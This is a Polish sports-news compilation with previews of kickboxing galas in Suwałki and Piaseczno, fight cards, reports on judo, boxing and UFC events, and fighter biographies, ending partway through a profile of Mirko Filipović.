Kickboxing zagości w Suwałkach

Utytułowani i klasowi fighterzy zaprezentują się publiczności podczas gali Suwałki Kick-Boxing Night. Impreza odbędzie się w Ośrodku Sportu i Rekreacji przy ulicy Wojska Polskiego 2. Głównymi organizatorami gali są trener Suwalskiego Klubu Kickboxing Panzer Suwałki – Łukasz Szczodruch oraz Piotr Siegoczyński.

Impreza ma na celu promocję Suwalszczyzny. Ponadto, będzie ogromną atrakcją dla publiczności głodnej wrażeń. Na ringu zaprezentują się znani fighterzy, którzy odnoszą sukcesy na arenach międzynarodowych. Organizatorzy mają nadzieję, że gala w Suwałkach stanie się stałym punktem na mapie Polski.

Wiele ciekawych pojedynków czeka publiczność zgromadzoną w Ośrodku Sportu i Rekreacji. W wadze 57 kg zaprezentuje się utalentowany Patryk Kuryłek reprezentujący Wicher Kobyłka. Jego rywalem będzie  Mateusz Pietrucha z TO Team Otwock. W Suwałkach swoją walkę stoczy Jakub Bartnik, który w 2014 roku wywalczył tytuł młodzieżowego mistrza Polski w K-1. Naprzeciw wojownika z Warki stanie Mateusz Kowalski z Championa Gdańsk.

W K-1 kolejny pojedynek stoczy Mateusz Żukowski. Zawodnik Terlika Team Mikołajki w grudniu okazał się lepszy w rywalizacji z Jakubem Bartnikiem. Tym razem zmierzy się z Patrykiem Kamińskim z Gdańska. Żukowski to silny i dynamiczny fighter, który w każdej walce pokazuje swoje atuty. Czy tym razem olśni publiczność? W ringu zaprezentuje się Kamil Ruta reprezentujący barwy klubu z Kobyłki. Wielka nadzieja polskiego kickboxingu mimo młodego wieku ma już CV pełne sukcesów. Ruta w 2013 roku w Turcji został mistrzem świata w kick-light w kategorii 79kg, w Seged wywalczył Puchar Świata w kick-light, a na ubiegłorocznych mistrzostwach Europy WAKO w Mariborze wywalczył srebrny medal w kick-light. Kariera zawodnika z Kobyłki nabiera rozpędu. W Suwałkach w K-1 rywalem Ruty będzie zawodnik X-Fight Piaseczno Mark Kołątaj.

Organizatorzy gali zaplanowali dwie walki wieczoru. W kategorii 75kg w K-1 zmierzą się Dominik Szczodruch i Lech Rosiński. Zawodnik Panzera Suwałki na krajowej arenie prezentuje się bardzo dobrze. Szczodruch zwycięża na galach organizowanych w Polsce, a także zdobywa medale – brąz podczas Mistrzostw Polski Służb Mundurowych w 2013 roku.  Z kolei Rosiński to doświadczony fighter, medalista mistrzostw Polski. Zawodnik X-Fight Piaseczno stanie przed trudnym zadaniem. Szczodruch będzie miał wsparcie z trybun, czy magia dopingu zadziała?

Gwiazdą wieczoru będzie Łukasz Wichowski. Zawodnik z Piaseczna stoczy pojedynek w formule full-contact z Sebastianem Prokopem z Nowego Miasta Lubawskiego. Wichowski ustawicznie rozwija się i robi postępy. Obecnie jest jednym z najbardziej cenionych polskich fighterów, czego najlepszym wyrazem jest fakt, że podczas licznych gal honorowany jest występami w walkach wieczoru. Wichowski jest zawodowym młodzieżowym mistrzem Polski w full contact w kategorii 81kg. Z kolei Prokop podczas mistrzostw kraju w full contact w Kurzętniku doszedł do finału, gdzie przegrał z Robertem Krasoniem. Fighterzy powinni zaprezentować najwyższy możliwy poziom. Obaj są mistrzami w swojej dziedzinie.

Gala w Suwałkach będzie okazją do popularyzacji kickboxingu w nowym rejonie Polski. Czy Suwałki na stałe zagoszczą na mapie sportów walki? W karcie walk nie brakuje gwiazd. Nic tylko cieszyć się rywalizacją na najwyższym poziomie.

Początek gali o 20:00 (30 stycznia 2015, Suwałki).

Rozpiska:
-57 kg K-1: Patryk Kuryłek (Wicher Kobyłka) vs Mateusz Pietrucha (KO Team Otwock)
-86 kg K-1: Adam Dubin (Panzer Suwałki) vs TBA
-70 kg K-1: Tomasz Kalinowski (Panzer Suwałki ) vs TBA
-81 kg K-1: Jakub Bartnik (X Fight) vs Mateusz Kowalski (Champion Gdańsk)
-67 kg K-1: Hubert Klaus (Panzer Suwałki) vs Krzysztof Kołodziejczyk (Arrachion MMA Mrągowo)
-86 kg K-1: Mateusz Żukowski (Terlik Team Mikołajki) vs Patryk Kamiński (Champion Gdańsk)
-95 kg K-1: Dawid Krajewski (Panzer Suwałki) vs Kamil Laskowski (Zambrów)
-70 kg K-1: Emil Korżyński (Panzer Suwałki) vs Andrzej Gajewski (Fighter Giżycko )
-81 kg K-1: Kamil Ruta (Wicher Kobyłka) vs Mark Kołątaj (X Fight Piaseczno)

Walki wieczoru:
-75 kg K-1: Dominik Szczodruch (Panzer Suwałki) vs Lech Rosiński (X Fight Piaseczno)
-81 kg FC: Łukasz Wichowski (X Fight Piaseczno) vs Sebastian Prokop (MUKS Olimpia Nowe Miasto Lubawskie)   

KM

 

Koniec treningów w Japonii

Kadra Polski seniorów przez niecały miesiąc przebywała na zgrupowaniu w Japonii. Nasi reprezentanci intensywnie przygotowywali się do tegorocznych startów. Treningi biało-czerwonych w ojczyźnie judo z pewnością były istotnym elementem budowania formy.

W Tsukubie oprócz męskiej kadry trenowali także zawodnicy AZS AWF Katowice. Niektórzy judocy mieli okazję ćwiczyć na Uniwersytecie Yamanshi, co było dodatkowym smaczkiem pobytu w Japonii. Oprócz Polaków w Tsukubie gościły kadry z Belgii, Węgier oraz Ukrainy. Nasi reprezentanci mieli okazję podejrzeć w akcji mistrzów z Japonii – Hiroakiego Hiroakę (60 kg), Junpeia Morishitę (66 kg) czy Hiroyukiego Akimoto (73 kg).Niecały miesiąc pobytu w Kraju Kwitnącej Wiśni z pewnością był istotnym czasem dla biało-czerwonych. Polacy mieli możliwość roztrenowania się oraz przygotowania organizmów na nadchodzący sezon. W przypadku zgrupowań często pojawiają się kontuzje, jednak naszych reprezentantów nie dotknęły poważne urazy.

Przed biało – czerwonymi bardzo wymagający rok. W końcu trwa walka o kwalifikacje do Igrzysk Olimpijskich w Rio de Janeiro. Pobyt w Japonii był o tyle cenny, że biało – czerwoni mogli spokojnie trenować w dobrych warunkach i bez zbędnego obciążenia. Ważne, aby z dobrym akcentem weszli w nowym sezon, gdyż czas będzie uciekał. Momentami z pewnością pojawią się nerwy, czy uda się wywalczyć bilet do Rio.

Ważnym przetarciem dla naszych judoków będzie warszawski Open Men Senior, który odbędzie się w dniach 28 luty – 1marca. Nasi reprezentanci muszą walczyć o punkty podczas Pucharów Świata i Grand Slamów. Jednakże nie ma lepszej okazji do uzyskania przepustki do Rio niż dobre występy na imprezach rangi mistrzowskiej. W kwietniu w Glasgow odbędą się mistrzostwa Europy. Pod koniec sierpnia w Astanie czekają nas mistrzostwa świata. Polskie judo wychodzi na prostą, zdobywamy medale, jednakże lepiej prezentują się panie. Być może w końcu panowie przełamią się i wywalczą medal. Ostatnim męskim medalistą mistrzostw świata w judo był Robert Krawczyk, który w 2003 roku w Osace zdobył brąz. Po jedenastu latach medal dla  Polski wywalczyła Katarzyna Kłys. Musieliśmy tak długo czekać na krążek z mistrzostw świata.

Przed naszymi reprezentantami wyzwanie. Treningi w Japonii być może staną się początkiem dobrego wejścia w sezon. Dwie kluczowe imprezy: mistrzostwa Europy w Glasgow oraz mistrzostwa świata w Astanie. Czy stać nas na medal? W ubiegłym roku w dobrej formie był Maciej Sarnacki, który przywoził medale z Pucharów Świata. Nabawił się urazu i dochodzi do pełni sił. Nadzieje na dobre występy należy wiązać z utalentowanym Aleksandrem Betą, zwycięzcą Pucharu Świata w Tallinie. Należy pamiętać o Kamilu Kozłowskim oraz Tomaszu Kowalskim. W Japonii podczas treningów dobrze prezentował się Łukasz Błach. Być może swoją szansę wykorzysta Paweł Zgrodnik, który podczas Igrzysk Olimpijskich w Londynie był blisko brązowego medalu.

W lutym Polacy będą rywalizowali w Pucharze Świata w Rzymie i Grand Prix w Duesseldorfie.

KM

Jones Jr. powalczy o zaszczyty

46-letni Roy Jones Jr. nadal ma siłę i chęć, aby wchodzić na ring. Legendarny amerykański bokser zapowiada swoją rywalizację z Marco Huckiem.

Jones Jr. to żywa ikona pięściarstwa. Bokser wszechstronny, skuteczny i niezwykle pewny siebie. W swojej karierze osiągnął szczyt, zdobył wszystko, co było możliwe. Jones Jr. dzierżył w swoich dłoniach pasy mistrzowskie kategorii średniej IBF, super średniej IBF, półciężkiej WBC, WBA i IBF oraz ciężkiej WBA. Warto nadmienić, że pięściarz wywalczył tytuł w kategorii królewskiej w 2003 roku w pojedynku z Johnem Ruizem. Tym samym został drugim bokserem historii, który zdobył pas w wadze średniej i ciężkiej. Co ciekawe, nigdy nie bronił tytułu.

Jones Jr. to osobowość. Fenomenalny bokser, komentator i raper. Jego przygoda z komentatorstwem nie trwała długo, gdyż HBO uznało, że nie jest dostatecznie zaangażowany w swoją pracę i został zwolniony. Kariera Jonesa Jr. jest wielowątkowa, ale jego ostatnie występy nie należą do najlepszych. Na przestrzeni ostatnich lat przegrał z Dannym Greenem, Bernandem Hopkinsem czy Denisem Lebiediewem. Warto zaznaczyć, że w Amerykanin w czerwcu 2012 roku rywalizował z Pawłem Głażewskim i zakończył ten pojedynek zwycięsko.

Możliwości Jonesa Jr. stopniowo spadają. Jego osiągnięcia plasują go w bokserskiej czołówce, ale obecna forma daleka jest od idealnej. Z tym, że 46-letni pięściarz tęskni za ringiem i z wielką werwą chce dalej walczyć. Jones Jr. ma zamiar walczyć w Niemczech z mistrzem WBO wagi cruiser Marco Huckiem. Jednak najpierw Amerykanin planuje stoczyć pojedynek 3 marca. Rywalizacja z Huckiem ma mieć miejsce późną wiosną. Do ustalenia pozostały kwestie finansowe i formalne. Jones Jr. jest chętny stanąć ringu z Huckiem, gdyż chciałby wywalczyć kolejny tytuł w swojej karierze. Czy ma na to szanse?

Jones Jr. zapowiada, że jeśli wygrałby walkę i zdobył pas jego przygoda z bokserem nie miałaby dalszego sensu. – Moim celem jest tytuł mistrza świata wagi cruiser i jeśli zrealizuję ten plan to nie ma sensu, abym nadal walczył – powiedział 46-letni pięściarz. Plan Jonesa jest ambitny. Pytanie, na ile jest w stanie zagrozić Huckowi? Możliwe, że Amerykanin będzie rywalizował z Grigory’m Drozdem, posiadaczem pasa WBC. Dla Jonesa Jr. nie ma różnicy, kto będzie jego rywalem. Z tym, że ze strony Hucka wyszła propozycja i to na nią będą pracowały sztaby.

Blask Roya Jonesa Jr. nadal jest wyrazisty. Amerykanin nadal obecny jest w mediach, chce walczyć i zdobywać tytuły. Ma pragnienie, aby w historii boksu jego nazwisko świeciło blaskiem chwały. Mimo wszystko chyba już tak jest. Ma cel. Sukces w wadze cruiser. Jones jest gotowy walczyć w Niemczech, tylko kasa musi się zgadzać. Magia nazwiska działa.

 

KM

Polscy fighterzy opanują galę UFC

UFC odsłania kolejne karty związane z galą organizowaną w Polsce. Podczas krakowskiej imprezy zaprezentuje się Krzysztof Jotko.

Polski średni debiutował w UFC w grudniu 2013 roku. Do tej pory Jotko stoczył dla najlepszej organizacji mieszanych sztuk walki trzy pojedynki – dwa wygrał, poniósł jedną porażkę. W debiucie Polak okazał się lepszy od Bruno Santosa. Receptę na pokonanie Jotki znalazł Marcus Cedenblad. W październiku ubiegłego roku polski fighter na punkty pokonał Tora Troenga. Podczas gali UFC w Polsce Jotko powita w UFC Garretha McLellana. 33-latek zwrócił na siebie uwagę swoją efektywnością i został zaproszony do grona najlepszych. McLellan wzbudza uznanie swoją bezkompromisowością – większość walk skończył przed czasem. Z ostatnich sześciu pojedynków pięć rozstrzygnął przez poddanie. Do tej pory McLellan rywalizował w Extreme Fighting Championship Africa. Dla Krzysztofa Jotki to kolejne wyzwanie, ale doping polskiej publiczności z pewnością mu pomoże.

Podczas krakowskiej gali swój pojedynek stoczy Paweł Pawlak. Zawodnik Gracie Barra Łódź debiutował w UFC podczas Fight Night w Berlinie, gdzie uległ Peterowi Sobotcie. Znany z efektywności Pawlak najzwyczajniej w świecie nie wytrzymał presji. Szansę na rehabilitację dostanie w Krakowie. Naprzeciw Polaka stanie Sheldon Westcott, który był jednym z finalistów zeszłorocznego TUF Nations. Dla Kanadyjczyka pojedynek z Pawlakiem będzie debiutem w UFC w kategorii półśredniej.

O być albo nie być w UFC będzie walczył Marcin Bandel. Co prawda Polak do tej pory stoczył tylko jedną walkę, ale prawa są nieubłagane. Trzeba dawać z siebie wszystko, inaczej wypada się z gry. Bandel w swoim debiucie przegrał z Mairbekiem Taisumovem, a cała walka trwała ledwie ponad minutę. Rywalem Polaka będzie Jason Saggo, który do tej pory stoczył dla UFC dwa pojedynki. W swoim debiucie znokautował Josha Shockleya, w kolejnym starciu na punkty uległ Paulowi Felderowi. Bandel i Saggo stają przed ogromnym wyzwaniem. Z jednej strony stawiają pierwsze kroki w UFC, a z drugiej potknięcie może być ich końcem. Muszą dać z siebie wszystko, aby nadal być częścią najlepszej organizacji mieszanych sztuk walki na świecie.

UFC odsłania kolejne karty. W Krakowie pojawi się Krzysztof Jotko, który dobrze zna klimat UFC. Cieszy, że kolejną szansę dostał Paweł Pawlak, który ma spore możliwości, ale w debiucie sparaliżował go strach. Marcin Bandel stanie przed trudnym zadaniem. Porażka może być początkiem jego kłopotów, ale w rywalizacji z Saggo szanse są wyrównane. Wiadomo, że gwiazdą wieczoru będzie Mirko Filipović. Mimo to wszystkie oczy w Polsce będą zwrócone w stronę Jana Błachowicza. „John”, który obecnie robi kolosalne postępy jest ogromną nadzieją polskiego MMA. W Krakowie polski fighter zmierzy się z Jimim Manuwą. Czy od tego pojedynku rozpocznie drogę na szczyt UFC?

 

KM

KM

Bokserski serial – Canelo ma rywala

Jedna kwestia ze świata pięściarstwa najwyższych lotów jest już pewna. Saul Canelo Alvarez znalazł rywala. Strony poczyniły odpowiednie ustalenia i pojedynek został zakontraktowany. Po zerwaniu rozmów z Miguelem Cotto wybór obozu Alvareza padł na Jamesa Kirklanda.

Canelo chciał rywalizować z Portorykańczykiem, przez dugi czas naciskał na niego, jednak negocjacje nie zakończyły się sukcesem. Alvarez jest zdeterminowany, aby wrócić na ring i boksować. 2 maja w ringu obok Canelo stanie James Kirkland. Jeśli na ten sam termin przypadnie walka Mayweather – Pacquiao to prawdopodobnie Alvarez będzie walczył w innym czasie.

Najbliższy rywal Canelo na zawodowych ringach debiutował w 2001 roku. W dotychczasowej karierze Kirkland poniósł tylko jedną porażkę – przegrał z Nobuhiro Ishidą. Warto dodać, że Amerykanin rywalizował już z zawodnikami z Meksyku i w większości przypadków walki kończyły się przed czasem. Swego czasu Kirkland był bardzo obiecującym bokserem, wiązano z nim ogromne nadzieje. 30-latek nie należy jednak do grzecznych chłopców. Jego kłopoty z prawem często hamowały rozwój jego kariery. Kirkland przebywał w więzieniu za posiadanie broni palnej.

Canelo stanie do rywalizacji z przeciwnikiem, który prezentuje dobry poziom. Wiadomo, że pojedynek z Cotto byłby bardziej spektakularny, jednak Kirkland jest twardym bokserem i Alvarez wcale nie będzie miał łatwego zadania. Nie jest to walka o pas, więc obozy pięściarzy nie chcą zmuszać ich do restrykcyjnego trzymania się wagi. Limit na tą walkę został wyznaczony na 155 funtów. W ten sposób pojedynek zostanie odnotowany jako starcie w kategorii średniej. Ze strony obozu Canelo być może jest to przemyślana strategia. Grupa Golden Boy Promotions poważnie myśli o starciu Alvareza z mistrzem świata federacji WBA kategorii średniej Giennadijem Gołowkinem.

Najpierw Kirkland. Alvarez jest szczęśliwy, że może w końcu będzie mógł wejść do ringu. Czekał na rywala i wreszcie go poznał. Kirkland jest gwarantem dobrego poziomu, choć z pewnością na starcie większe szanse ma Canelo. Jeśli uda się stoczyć pojedynek w maju będzie to miało szczególny wymiar dla Meksykanina.

Jeden wątek z bokserskiego świata zakończony. Jest rywal, jest termin, będzie walka. W innych przypadkach rozmowy trwają, a dodatkowo rodzą się kolejne spekulacje. Wszyscy czekają na rozstrzygnięcie kwestii pojedynku Mayweather – Pacquiao. Pacman wyznał, że na 80% dojdzie do tego starcia. W całym zamieszaniu udział bierze Amir Khan, który spekuluje na temat swojej rywalizacji z Pacquiao. Anglik nie chce walczyć z Filipińczykiem w umownym limicie, lecz tylko i wyłącznie w limicie 147 funtów. Na dodatek pojawiły się plotki, że 2 maja dojdzie do starcia Floyda Mayweathera Jr z Miguelem Cotto.

Cały czas jest gorąco. Oczywiste jest, że audytorium czeka na nowinę o pojedynku Mayweathera z Pacquiao. Alvarez znalazł przeciwnika. Dopóki Cotto i Khan nie będą mieli kolejnych rywali domysły będą rosły jak grzyby po deszczu. 

KM

Alistair Overeem

Holenderski Kick-boxer i zawodnik MMA urodzony 17 maja 1980 roku w Londynie. Jego ojcem był Jamajczyk a matką Holenderka. Po rozwodzie rodziców , w wieku 6 lat wraz z matką przeprowadził się na stałe do Holandii. Debiut w profesjonalnym MMA zanotował w 1999 roku na gali It’s Showtime w Haarlem. Następnie walczył dla organizacji RINGS i 2H2H. W 2002 roku zadebiutował na ringu PRIDE FC. Rok później wystartował w turnieju 2003 PRIDE Middleweight Grand Prix.  Odpadł w ćwierćfinale przegrywając z Chuckiem Liddellem.  W 2005 roku wziął udział w kolejnej edycji tego turnieju , tym razem doszedł do półfinału pokonując Victora Belforta i Ihora Wowczanczyna. W walce o finał został pokonany przez późniejszego tryumfatora turnieju Mauricio Ruę. Rok później walczył w turnieju PRIDE Openweight Grand Prix. Przegrał w 1/8 finału z Fabricio Werdumem. Po rozwiązaniu PRIDE FC przeszedł do wagi ciężkiej i walczył dla organizacji HERO’S, Strikeforce i DREAM. 16 listopada 2007 roku zdobył wakujący tytuł mistrza świata Strikeforce, pokonując przez poddanie Paula Buentello. W sierpniu 2009 roku Holender miał bronić pas w walce przeciwko Werdumowi. Do pojedynku jednak nie doszło z powodu kontuzji ręki Holendra. Po raz pierwszy swojego tytułu bronił 15 maja 2010 roku w walce przeciwko Brettowi Rogersowi. Alistair pokonał go przez TKO.  31 grudnia 2010 podczas gali Dynamite!! 2010 znokautował w 19 sekund Amerykanina Todda Duffe w walce o tymczasowe mistrzostwo DREAM w wadze ciężkiej. W 2011 roku wystartował w 8 osobowym turnieju Strikeforce. 18 czerwca podczas ćwierćfinału pokonał Fabricio Werduma. W półfinale miał zmierzyć się z Antonio Silvą.  Odmówił jednak walki w ustalonym przez telewizje Showtime terminie, powołując się na kontuzję. W rezultacie został usunięty z turnieju, a pod koniec lipca Strikeforce rozwiązała z nim kontrakt. Na początku września związał się umową z UFC. 30 grudnia 2011 roku w swoim debiucie dla UFC pokonał przez TKO w pierwszej rundzie Brocka Lesnara. Tą wygraną zapewnił sobie miano pretendenta do walki o pas mistrzowski.  Do tego pojedynku miało dojść 26 maja 2012 roku. Przeciwnikiem Alistaira miał być Junior dos Santos. Do walki nie doszło ponieważ na miesiąc przed walką w organizmie Holendra był dwukrotnie przekroczony poziom testosteronu. W 2001 roku Alistair zadebiutował w K-1. W debiucie przegrał z Errolem Parisem podczas GP Holandii. W 2004 roku w Tokio został znokautowany w pokazowym pojedynku przez Glaube Feitosę.  Do K-1 powrócił po długiej przerwie w 2008 roku. Podczas sylwestrowej gali Dynamite!! 2008 zmierzył się z byłym mistrzem K-1 w wadze ciężkiej i finalistą K-1 World GP 2008 Badrem Hari. Holender pokonał faworyzowanego Marokańczyka już w pierwszej rundzie. W marcu 2009 roku walczył z mistrzem K-1 Remym Bonjaskym. Przegrał walkę przez decyzję po wyrównanym pojedynku. Dobre występy Alistaira sprawiły, że w drodze internetowego głosowania otrzymał dziką kartę, upoważniającą do udziału w walce eliminacyjnej podczas Final 16 w Seulu.  Pokonał tam Petera Aertsa, zapewniając sobie prawo walki o mistrzostwo K-1 WGP w turnieju finałowym w Jokohamie. W pierwszej walce pokonał przez nokaut mistrza świata w Kyokushin Ewertona Teixeirę, w półfinale uległ jednak przez nokaut Hariemu. W październiku 2010 roku podczas Final 16 znokautował w pierwszej rundzie Bena Edwardsa, po raz drugi awansując do Finału K-1 WGP. Został on rozegrany 11 grudnia 2010 roku w Tokio. Overeem zdobył tytuł mistrza K-1 WGP, pokonując trzech rywali z rzędu Tyrone’a Sponga, Gokhana Saki i Petera Aertsa. 19 grudnia 2015 roku pokonał przez TKO w drugiej rundzie byłego mistrza wagi ciężkiej UFC Juniora Dos Santosa. 8 maja 2016 roku pokonał przez techniczny nokaut Andreia Arlovskiego. 

Georges St-Pierre

Kanadyjski zawodnik MMA urodzony 19 maja 1981 roku w Sainy-Isidore.  Pierwsze kontakt ze sportami walki miał w wieku siedmiu lat, gdy rozpoczął treningi Karate Kyokushin.  Georges trenował również zapasy, boks, boks tajski oraz Brazylijskie Jiu Jitsu. W lipcu 2006 roku otrzymał brązowy pas BJJ od Renzo Gracie, a w 2008 roku czarny pas od Bruno Fernandesa. W styczniu 2002 roku zanotował profesjonalny debiut w MMA. Wygrywając pięć walk z rzędu dla Kanadyjskiej federacji UCC i zdobywając jej pas mistrzowski, podpisał kontrakt z organizacją UFC. Debiutował dla UFC w styczniu 2004 roku pokonując Karo Parisyana przez jednogłośną decyzję sędziów.  Po kolejnym zwycięstwie nad Jayem Hieronem otrzymał szansę walki o wakujące mistrzostwo UFC wagi półśredniej.  Jego rywalem był były mistrz Matt Hughes.  Pojedynek ten odbył się 22 października 2004 roku. Georges przegrał ten pojedynek przez poddanie. Była to pierwsza przegrana walka Kanadyjczyka w jego zawodowej karierze.  Po przegranej z Hughesem, Kanadyjczyk w maju 2005 roku obronił mistrzostwo TKO Major League (dawneUCC) poddając Dave’a Strassera. To była jego ostatnia walka dla tej federacji, po niej podpisał długoterminowy kontrakt z UFC.  W ciągu następnych dwóch lat wygrał 5 walk, dzięki czemu zdobył prawo do rewanżowej walki z Hughesem. Doszło do niej w listopadzie 2006 roku. Tym razem to Kanadyjczyk okazał się wygranym. W pierwszej obronie jednak stracił tytuł na rzecz niżej notowanego Matta Serry. Mistrzostwo odzyskał 19 kwietnia 2008 roku w Montrealu, nokautując Serrę w walce rewanżowej. Następnie sześciokrotnie bronił swojego pasa pokonując w dominującym stylu takich rywali jak: Johna Fitcha, B.J. Penna, Thiago Alvesa, Dana Hardy’ego, Josha Koschecka i Jake Shieldsa. Swoją siódmą obronę pasa miał stoczyć 29 października 2011 roku przeciw Carlosowi Conditowi ale z powodu kontuzji kolana na dziesięć dni przed walką musiał się wycofać z tego pojedynku.  4 lutego 2012 roku miało dojść do wyczekiwanego pojedynku St-Pierra z Conditem, jednak tym razem również mistrz się wycofał z pojedynku z powodu zerwania więzadeł w kolanie.  Na tej gali zamiast pojedynku St-Pierre z Conditem, UFC zestawiło ze sobą Condita z Diazem o tymczasowe mistrzostwo w wadze półciężkiej, które ostatecznie wygrał Condit. Do starcia Georgesa z Conditem doszło pod koniec 2012 roku na gali w Montrealu. Zwycięzcą okazał się St-Pierre który zdominował Condita. Po wygranej z Conditem jeszcze dwukrotnie, skutecznie bronił pasa z Nickiem Diazem i Johnym Hendricksem. Po walce z Hendricksem z powodów osobistych zrzekł się pasa mistrzowskiego.

Zapowiedź Gali DSF Kickboxing Challenge 3

DSF Kickboxing Challenge: Bitwa w Piasecznie już 28 lutego!

Po sukcesie, jakim bez wątpienia była ostatnia gala DSF Kickboxing Challenge organizator Sławomir Duba postanowił iść za ciosem i dostarczyć fanom kickboxingu kolejnej dawki adrenaliny, która nie pozwoli usiedzieć w miejscu.

Już 28 lutego czołowi przedstawiciele polskiej sceny sportów uderzanych zaprezentują swoje wysokie umiejętności podczas trzeciej edycji gali DSF Kickboxing Challenge, która nosić będzie podtytuł „Bitwa w Piasecznie” i odbędzie się… właśnie w Piasecznie, a konkretnie w miejscowej hali GOSiR przy ulicy Sikorskiego 20. Podobnie jak miało to miejsce podczas dwóch pierwszych gal, tak i tym razem wstęp jest bezpłatny, a wejściówki będzie można odbierać od 29 stycznia w Urzędzie Miasta Piaseczno.

Atrakcje muzyczne, gra świateł, a przede wszystkim dziewięć znakomitych pojedynków w formułach full contact i K-1 Rules. Tego mogą spodziewać się wszyscy fani kickboxingu, którzy postanowią przybyć na galę DSF Kickboxing Challenge: Bitwa w Piasecznie.

Walką wieczoru będzie konfrontacja Młodzieżowego Międzynarodowego Mistrza Polski w formule full contact Łukasza Wichowskiego z aktualnym wicemistrzem kraju seniorów w tejże formule, Piotrem Kołakowskim. – Nie obawiam się swojego przeciwnika. Wiem, że zamierza ze mną wygrać, lecz ja również mam taki plan. Do tej pory nie miałem możliwości konfrontowania się z tak utytułowanym przeciwnikiem i jest to dla mnie bardzo mobilizujące – wyznał Wichowski.

Walka zapowiada się atrakcyjnie z wielu powodów. Najważniejszym z nich jest fakt, że stawką tej konfrontacji będzie mistrzowski pas DSF Challenge. Kolejnym z nich jest lokalizacja, czyli Piaseczno. Wichowski trenował wiele lat w Piasecznie, reprezentuje barwy tamtejszego klubu X-Fight i ma w mieście wielu kibiców, którzy z pewnością przyjdą mu dopingować. – Liczę na wsparcie znajomych. Można powiedzieć, że będę się bić u siebie, a więc nie ma innej możliwości, jak wygrać i to przed czasem – kończy.

Drugą główną walką lutowej gali będzie finał czteroosobowego turnieju K-1 Rules w kategorii wagowej do -81 kilogramów pomiędzy reprezentantem DSF Kickboxing Team Kamilem Rutą i Mateuszem Żukowskim z Terlik Team Mikołajki. Obaj wojownicy swoje walki półfinałowe wygrali w imponującym stylu. Ruta już w pierwszej rundzie wygrał przez nokaut z Sebastianem Adamskim, a Żukowski wypunktował Jakuba Bartnika. – Miałem więcej czasu i mogłem spokojnie obejrzeć pojedynki mojego przeciwnika. Wiem o nim wszystko, wiem jak z nim walczyć, żeby wygrać – mówi Ruta, który jest aktualnym Mistrzem Europy w formule Kick-Light.

Wszyscy fani podczas gali DSF Kickboxing Challenge: Bitwa w Piasecznie będą mogli obejrzeć również konfrontację z udziałem kobiet. Multimedalistka Dorota Godzina z DSF Kickboxing Team skrzyżuje rękawice Gabrielą Bednarowicz, brązową medalistką Pucharu Polski z 2014 roku w formule low kick. Dla Godziny będzie to dziesiąta walka w karierze. Podopieczna Piotra Siegoczyńskiego jest na zawodowym ringu niepokonana i podczas piaseczyńskiego widowiska zamierza podtrzymać passę zwycięstw. – Znam swoją rywalkę. Jest ode mnie niższa, ale przyzwyczaiłam się już do tego, że mało która przeciwniczka jest mojego wzrostu. Na pewno damy dobrą walkę – opowiada Godzina.

Oprócz trzech głównych walk zobaczymy jeszcze sześć pojedynków z udziałem m.in. Jakuba Bartnika, Lecha Rosińskiego, Sebastiana Adamskiego, Pauliny Frankowskiej i Katarzyny Jaworskiej.

KARTA WALK DSF KICKBOXING CHALLENGE W PIASECZNIE

Walk Wieczoru o pas DSF Challenge:
1. Formuła Full Contact kat. – 81kg: Łukasz Wichowski (DSF Kickboxing Team) vs. Piotr Kołakowski (Zamek Kurzętnik) 
Czas walki: 5 rund po 2 minuty
Finał turnieju K-1 kat. -81 kg:
2. Formuła K-1 kat. -81kg: Kamil Ruta (DSF Kickboxing Team) vs. Mateusz Żukowski (Terlik Team Mikołajki)
Czas walki: 3 rundy po 3 minuty
Extrafight:
3. Formuła K-1 kat. -56kg: Dorota Godzina (DSF Kickboxing Team) vs. Gabriela Bednarowicz (SKK-b Kielce) 
Czas walki: 3 rundy po 2 minuty
Walki rankingowe Pro-am:
4. Formuła K-1 kat. -81kg: Jakub Bartnik vs. Sebastian Adamski 
5. Formuła K-1 kat. -75kg: Mark Kołłątaj vs. Daniel Kolasiński 
6. Formuła K-1 kat. -70kg: Maciej Garbaczewski vs. Adrian Kulma
7. Formuła K-1 kat. -75kg: Lech Rosiński vs. Sebastian Prokop 
8. Formuła K-1 kat. -70kg: Paulina Frankowska vs. Katarzyna Jaworska 
9. Formuła K-1 kat. -67kg: Karol Sadłocha vs. Paweł Nowakowski

informacja prasowa

Mirko "Cro Cop" Filipovic

Chorwacki bokser, Kick-bokser oraz zawodnik MMA urodzony 10 września 1974 roku w Vinkovci. Trenować siłowo zaczął w wieku 11 lat. Jego inspiracją do rozpoczęcia treningów był film Krwawy sport.  Jego pierwsze treningi odbywały się w przydomowej szopie.  Mirko dorastał w czasach rozpadu Jugosławii i wojny domowej 1991-1995. W tym czasie przeniósł się na pół roku z rodzimej Privlaki do sąsiedniego miasta Varazdin. Na miejscu szukał działającego klubu Kick-boxingu, jednak do wyboru miał tylko kluby boku albo karate. Zdecydował się na karate, jednak nie spodobał mu się sposób treningów.  Pewnego dnia zobaczył grupę osób trenujących Kick-boxing. Po uzyskaniu zgody trenera przyłączył się do nich. W 1994 roku zmarł ojciec Mirko. Filipovic odbywał w tedy służbę wojskową, a jego rodzina nie miała za co żyć, gdyż jego ojciec był jedyną osobą pracującą. Mirko złożył podanie, i został przyjęty do Akademii Policyjnej.  Został przydzielony do oddziału antyterrorystycznego „ Lucko”.  Zarobione pieniądze przeznaczał na utrzymanie rodziny oraz treningi. Ze względu na karierę sportową był często zwalniany z obowiązków służbowych. W zamian do ringu wchodził w koszulce z napisem ATJ LUCKO. W tym oddziale służył przez 6 lat. Dzięki policyjnej karierze nadano mu pseudonim Cro Cop.  W K-1 zadebiutował w 1996 roku w wieku 22 lat. Jego trenerem był Branko Cikatic ( zwycięzca K-1 Grand Prix 1993). W swoim pierwszym pojedynku Mirko zmierzył się z finalistą K-1 Grand Prix 1995 Francuzem Jerome „Geronimo” Le Bannerem.  Chorwat wygrał pojedynek przez jednogłośną decyzję sędziów.  Następną walkę stoczył z Ernesto Hoostem, utytułowanym zawodnikiem boksu tajskiego i K-1. Mirko przegrał tę walkę przez TKO. Wkrótce po tej walce Mirko odszedł na trzy lata z K-1 i rozpoczął karierę amatorską w boskie. Powodem tej decyzji był konflikt z Trenerem Branko Cikaticem.  W 1997 roku został mistrzem Chorwacji w wadze superciężkiej  w boksie. Zajął również drugie miejsce na międzynarodowym turnieju o Puchar Akropolu, przegrywając w finale na punkty z Paolo Vidozem. Wystąpił także na mistrzostwach Świata w Budapeszcie, z których został wyeliminowany w 1/16 finału przez ówczesnego mistrza świata i Europy Aleksieja Lezina.  Rok później ponownie wygrał mistrzostwo kraju i reprezentował 